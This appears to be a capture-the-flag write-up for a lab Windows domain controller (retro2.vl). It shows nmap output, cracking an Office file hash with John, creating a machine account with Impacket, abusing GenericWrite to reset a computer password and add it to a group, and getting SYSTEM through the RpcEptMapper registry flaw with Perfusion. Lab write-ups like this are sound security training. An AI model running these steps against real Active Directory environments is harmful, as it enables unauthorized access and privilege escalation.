Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 13:00 EST Stats: 0:00:59 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 81.25% done; ETC: 13:02 (0:00:12 remaining) Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 81.25% done; ETC: 13:02 (0:00:13 remaining) Nmap scan report for 10.10.80.214 Host is up (0.13s latency). Not shown: 984 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15F75) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15F75) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-28 18:01:01Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds (workgroup: RETRO2) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ssl/ms-wbt-server? |_ssl-date: 2024-12-28T18:02:31+00:00; -12s from scanner time. | ssl-cert: Subject: commonName=BLN01.retro2.vl | Not valid before: 2024-08-16T11:25:28 |_Not valid after: 2025-02-15T11:25:28 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC Service Info: Host: BLN01; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 108.93 seconds
Looks like just generic Windows slop. Iโll start by checking out SMB, and adding BLN01.retro2.vl and retro2.vl to my /etc/hosts file.
john office.hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 AVX 4x / SHA512 128/128 AVX 2x AES]) Cost 1 (MS Office version) is 2013 for all loaded hashes Cost 2 (iteration count) is 100000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:17 0.02% (ETA: 14:41:44) 0g/s 227.2p/s 227.2c/s 227.2C/s leigh..tripleh [SNIPPED] (staff.accdb) 1g 0:00:00:20 DONE (2024-12-30 17:09) 0.04816g/s 221.9p/s 221.9c/s 221.9C/s diamante..[SNIPPED] Use the "--show" option to display all of the cracked passwords reliably Session completed.
Within the DB we can see cleartext credentials for the ldapreader account.
Thereโs a pretty large path here in AD, but it looks like our first steps will be to create a new machine account, exploit GenericWrite over ADMWS01, and then get access to the services group in order to RDP/WinRM into the target machine.
๐ฅ User
I started off by checking the MAQ to see if we could in fact make a new workstation.
# Using Impacket to make a new machine account addcomputer.py -computer-name 'giganator$' -computer-pass 'Password123' -dc-host [DC-IP] -domain-netbios retro2.vl 'retro2.vl/ldapreader:[PASSWORD]' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account giganator$ with password Password123.
Next we need to exploit GenericWrite over the admin workstation. I tried RBCD but wasnโt successful, and wasnโt able to set shadowcreds since thereโs no PKINIT for authentication. I pivoted to trying to change the accountโs password using RPC.
1
net rpc password 'ADMWS01$' Password123 -U 'retro2.vl/giganator$%Password123' -S BLN01.retro2.vl
This worked, and we can now add ourselves to the services group.
1
net rpc group addmem "Services""ADMWS01$" -U 'retro2.vl/ADMWS01$%Password123' -S BLN01.retro2.vl
Now finally we can RDP to the target machine, which was running Windows Server 2008 R2 Datacenter - what a throwback.
That lets us grab the flag in the root of the C drive :)
๐ฅ RpcEptMapper Vulnerability
The version of Windows the target machine is running is vulnerable to a vulnerability in Windows 7, Windows Server 2008R2, Windows 8, and Windows Server 2012. The RpcEptMapper/DnsCache regkeys have permissions that allow a user to load a DLL as system.
This can be detected with PrivescCheck - and thereโs a tool Perfusion for exploiting it.
To get this to work I had to compile the tool - and then ran it to grab a system shell.
1 2
# Using Perfusion to get an interactive shell as NT AUTHORITY\SYSTEM .\Perfusion.exe -c cmd -i
I was able to use this shell to grab the admin flag - yippee!